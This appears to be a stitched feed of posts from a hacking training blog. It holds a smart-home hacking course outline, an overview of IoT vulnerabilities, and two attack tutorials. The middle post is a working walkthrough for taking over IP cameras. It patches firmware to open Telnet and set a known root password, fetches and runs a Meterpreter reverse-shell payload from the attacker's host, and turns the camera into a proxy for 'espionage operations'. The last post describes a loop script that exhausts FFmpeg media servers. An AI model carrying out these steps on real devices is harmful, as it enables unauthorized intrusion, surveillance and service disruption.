Welcome back, my aspiring cyberwarriors!

Smart homes are increasingly becoming common in our digital world! These smart home devices have become of the key targets of malicious hackers. This is largely due to their very weak security. In 2025, attacks on connected devices rose 400 percent, with average breach costs hitting $5.4 million

In this three-day class, we will explore and analyze the various security weaknesses of these smart home devices and protocols.

Course Outline

1. Introduction and Overview of Smart Home Devices
2. Weak Authentication on Smart Home Devices
3. RFID and the Smart Home Security
4. Bluetooth and Bluetooth LE vulnerabilities in the home
5. Wi-Fi vulnerabilities and how they can be leveraged to takeover all the devices in the home
6. LoRa vulnerabilities
7. IP Camera vulnerabilities
8. Zigbee vulnerabilities
9. Jamming Wireless Technologies in the Smart Home
10. How attackers can pivot from an IoT devices in the home to takeover your phone or computer
11. How to Secure Your Smart Home

This course is part of our Subscriber Pro training package

Welcome back, my aspiring cyberwarriors!

As smart homes become ever more common in our digital world, they have become a favorite target for hackers around the world. We have seen SO many smart home devices compromised and then the hackers use those devices to pivot to other devices connected to the local area network such as phones and laptops.

Smart home devices now include so many devices, such as;

1. Smart TV’s
2. Smart Lighting
3. Smart Garage Door Openers
4. Smart Security Systems
5. Smart Cameras
6. Smart Appliances (Refrigerators, stoves, washers, dryers, etc.)
7. Smart Picture Frames
8. Smart Infotainment Systems
9. and so many more

Each of these smart devices has a small CPU, small amount of RAM, and a Linux operating system, most commonly BusyBox, due to its very small size. These systems are very often shipped with little aforethought regarding security. This makes it relatively easy to hack these devices.

In addition, these devices are often connected to your Wi-Fi, Bluetooth, or Zigbee network. Each of these network types are vulnerable to multiple attack vectors making the entire home and the devices therein vulnerable.

To learn more about Smart Home Hacking, consider attending our Smart Home Hacking training, January 13-15.

Here are the most significant security risks documented in recent research and threat reports:

Common Smart Home Vulnerabilities

• Weak or Default Credentials
  • Many smart home devices ship with weak, default, or hardcoded passwords, which attackers can easily guess or find online.
  • Credential stuffing and password reuse across multiple devices leads to widespread compromise.
• Outdated and Unpatched Firmware
  • A high proportion of smart devices run old firmware with known vulnerabilities and rarely receive updates or security patches, leaving them open to exploitation.
  • Supply chain vulnerabilities can introduce malware before devices even reach the consumer (such as Badbox 2.0).
• Vulnerable Network Services and Open Ports
  • Devices expose unnecessary or insecure services to the local network or internet (e.g., Telnet, UPnP, poorly secured web interfaces), facilitating remote exploitation.
  • Automated scanning for open ports is a dominant attack method, accounting for over 93% of blocked events in recent studies.
• Poor Encryption and Data Protection
  • Many smart devices transmit sensitive data (e.g., audio, video, sensor readings) without proper encryption, enabling eavesdropping and privacy breaches.
  • Weak or flawed cryptographic implementations allow attackers to decrypt captured traffic or manipulate device functionality.
• Device Hijacking and Botnets
  • Attackers can take over smart devices, using them as proxies for further attacks (DDoS, ad fraud, credential theft) or as part of large-scale botnets (Mirai, EchoBot, PUMABOT).
  • Compromised devices may serve attacks on other systems without user awareness—sometimes even posing physical safety risks (e.g., hijacked locks or thermostats).
• Privacy and Data Exposure
  • Insecure cameras, microphones, and voice assistants can be used for covert surveillance or to steal sensitive data.
  • Exposed cloud APIs and device “phone home” features can leak data to third parties or attackers.
• Weak Access Controls
  • Poor onboarding, lack of two-factor authentication, flawed pairing mechanisms, and weak authorization checks let attackers gain access to devices or sensitive controls.

Real-World Examples (2025)

• Smart TVs, streaming devices, and IP cameras are currently the most exploited categories, often running on Linux/Android with outdated kernels.
• Malicious firmware (such as BadBOX) pre-installed on consumer devices has led to huge botnets and residential proxy abuse, sometimes before devices are even plugged in by the end user.
• Large-scale privacy violations include attackers publicly streaming home camera footage due to default credentials or unpatched vulnerabilities.

Summary Table

Vulnerability Type	Example Consequence
Default/weak credentials	Easy unauthorized access
Outdated firmware	Exposure to known exploits
Open network services	Remote code execution, botnets
Poor encryption	Data interception, manipulation
Device hijacking/botnets	DDoS, fraud, lateral movement
Weak access controls	Device takeover, privacy breaches
Privacy/data exposure	Surveillance, data theft

Summary

Smart homes are becoming increasingly popular in industrialized countries particularly among higher income households. These smart homes offer the user convenience while offering an enticing target for hackers. If the attacker can compromise even one device within the home, then all of the devices on the home network are at risk!

To learn more about Smart Home Hacking and Security, consider attending our upcoming Smart Home Hacking training in January 2026.

Welcome back, cyberwarriors.

Hope you’re enjoying the series so far. Today we are wrapping it up with the final part, focused on modifying camera firmware. This is the most advanced and risky method. It takes time and precision. The biggest challenge is finding firmware that’s suitable for editing and compiling back without breaking the device. Every manufacturer uses specific formats, so if you mess up the structure or file system, the camera won’t boot again. Always proceed carefully.

Case 4: Modifications

This case is similar to the previous one, but we are going deeper. Imagine the camera you found does not have any ports open, like SSH or Telnet – and neither is configurable in the settings. At first glance, it looks like a dead end.

But then you discover it allows firmware updates. Most cameras have this feature available from the web dashboard. That’s your way in. The first step is to get a copy of the firmware. You can find it on third-party firmware archives or from the official manufacturer’s website.

After downloading the firmware, extract it. We found a script file named run.sh inside. When we opened it, we noticed something interesting.

The script had a Telnet launch command that was commented out. We removed the comment to enable Telnet

That solves one part. But we don’t know the Telnet password that is hashed in the passwd file. By default you can find this file in the /etc directory:

Instead of cracking the existing password hash, we generate our own:

kali > openssl passwd -1 password

This gives a new hash string. Replace the existing hash in the /etc/passwd file with the one you just generated. Save the changes.

Now you need to repack the entire directory structure into a new firmware file. Create a new directory and move everything into it:

kali > mkdir firmware

kali > mv etc firmware/

And so on, until you move all other directories.

Recompiling

Our firmware was using the cramfs (Compressed ROM File System). You’ll need to install cramfs tools directly from the Ubuntu repo, as it is not available for Kali.

Here is the link where you can find it:

http://ftp.ubuntu.com/ubuntu/ubuntu/pool/universe/c/cramfs/

Let’s download it:

kali > wget http://ftp.ubuntu.com/ubuntu/ubuntu/pool/universe/c/cramfs/cramfsprogs_1.1-6ubuntu1_amd64.deb

kali > sudo dpkg -i cramfsprogs_1.1-6ubuntu1_amd64.deb

Once installed, create the new firmware image:kali > mkcramfs firmware  firmware-x.cramfs

Rename the file to match the original firmware name to avoid upload issues. We named it firmware to clear the view and make it easier to understand. Go back to the camera dashboard and upload the modified firmware.

Wait a few minutes for it to flash and reboot. To check if it’s back online:

kali > ping <camera_ip>

Once the camera responds, connect via Telnet:

kali > telnet <camera_ip> 23

Log in using root and the password you created. If successful, you’ll be inside the system. In our case, the target already had nc installed, which helped a lot.

Payload Execution

Determine the architecture of the system:

target > uname -m

Create the payload on Kali:

kali > msfvenom -p linux/<arch>/meterpreter/reverse_tcp LHOST=<kali_ip> LPORT=<kali_port> -f elf > shell.elf

Host the payload on your Kali machine:

kali > python3 -m http.server

Then download it to the target:

target > curl -O http://<kali_ip>:8000/shell.elf

target > chmod +x shell.elf

target > ./shell.elf

Open Metasploit on Kali, set up multi/handler with the same payload options, and you’ll get a Meterpreter session. From there, use proxychains with a SOCKS proxy to route your traffic through the compromised camera and access the network behind it. All of these steps were covered in the previous parts.

Conclusion

Modifying camera firmware is the most advanced step in gaining persistent access. It allows you to create a custom backdoor even when all ports are closed. The method gives full control, but it also comes with the highest risk. A small mistake and the camera is dead. But if done right, it’s a powerful tool for deeper infiltration. With this final part, you now have a complete playbook for hacking, accessing, and using Russian cameras as proxies in espionage operations. Good luck on your next hunt.

The post Network Espionage – Using Russian Cameras as Proxy, Part 3 first appeared on Hackers Arise.

Welcome back, cyberwarrior novitiates!

In a previous article, we used FFmpeg for streaming camera videos. However, it’s important to keep in mind that FFmpeg is one of the most ubiquitous multimedia processing tools worldwide. It is used in everything from streaming platforms and media servers to desktop applications and mobile software.

In this article, I’d like to demonstrate how a memory leak vulnerability in FFmpeg might be exploited to carry out a denial-of-service (DoS) attack on a remote media server or cause resource exhaustion on local client applications.

A Brief History of FFmpeg Vulnerabilities

The project has faced numerous vulnerabilities over the years, ranging from buffer overflows to memory corruption issues that could lead to arbitrary code execution. Previous notable vulnerabilities have included heap-based buffer overflows such as CVE-2020-22029, buffer overflow issues like CVE-2024-32230 with high severity ratings, and CVE-2011-0480 which also carried high severity scores.

The pattern of vulnerabilities in FFmpeg often stems from the complexity of multimedia format parsing and the need to handle malformed or malicious input gracefully. Security risks frequently arise when specially crafted multimedia files are designed to exploit parsing logic, potentially leading to application crashes or arbitrary code execution. Memory management issues, including both buffer overflows and memory leaks like CVE-2025-25469, represent a significant category of these vulnerabilities, often resulting from error handling paths that fail to properly clean up allocated resources.

Understanding CVE-2025-25469

CVE-2025-25469 manifests as a memory leak within the libavutil/iamf.c file, specifically in the IAMF (Immersive Audio Model and Formats) parsing functionality. This vulnerability occurs when the iamf.c component of FFmpeg’s libavutil allocates memory buffers but fails to release them under certain error or edge conditions.

When the av_iamf_parse function encounters a parse failure condition, it returns an error code without freeing the memory buffer that was allocated earlier in the function execution. This creates a situation where each failed parsing attempt consumes system memory that is never reclaimed, leading to gradual memory exhaustion over time.

The vulnerability is particularly concerning because it affects the libavutil component, which serves as a foundational utility library within the FFmpeg ecosystem. This means that any application utilizing FFmpeg’s IAMF processing capabilities could potentially be affected.

Proof-of-Concept: How to Trigger the Leak

To trigger the leak of memory we can create a simple Python script:

Here’s a simple explanation of what the script is doing:

1. The script starts with a Python shebang to run with Python 3.
2. It opens (or creates) a file named bad.iamf in binary write mode.
3. It writes 100 zero bytes into this file. This creates a malformed or invalid IAMF file because a valid IAMF file would not just be zeros.
4. Then, in a loop that runs 1000 times, the script calls the command line to run FFmpeg and process the file bad.iamf each time.
5. The FFmpeg command used suppresses banner output (-hide_banner), attempts to decode the bad.iamf input file (-i bad.iamf), and outputs to null format (-f null -), effectively discarding the output.

As a result we get high CPU usage (around 100%). While the vulnerability is primarily a memory leak in libavutil/iamf.c, it also causes disproportionate CPU load due to the handling of malformed or crafted data. This means the CPU gets heavily utilized attempting to process the invalid input, even though memory consumption may not spike noticeably.

Summary

While the vulnerability itself may seem relatively minor compared to code execution flaws, its potential to cause service disruption and system instability should not be underestimated.

In this article, we explored how, with just a few lines of code, this vulnerability could be exploited, resulting in resource exhaustion. The widespread deployment of FFmpeg across both critical infrastructure and consumer applications makes this issue deserving of immediate attention and remediation.

The post How to DoS a Media Server: The Memory Leak Vulnerability in ffmpeg (CVE-2025-25469) first appeared on Hackers Arise.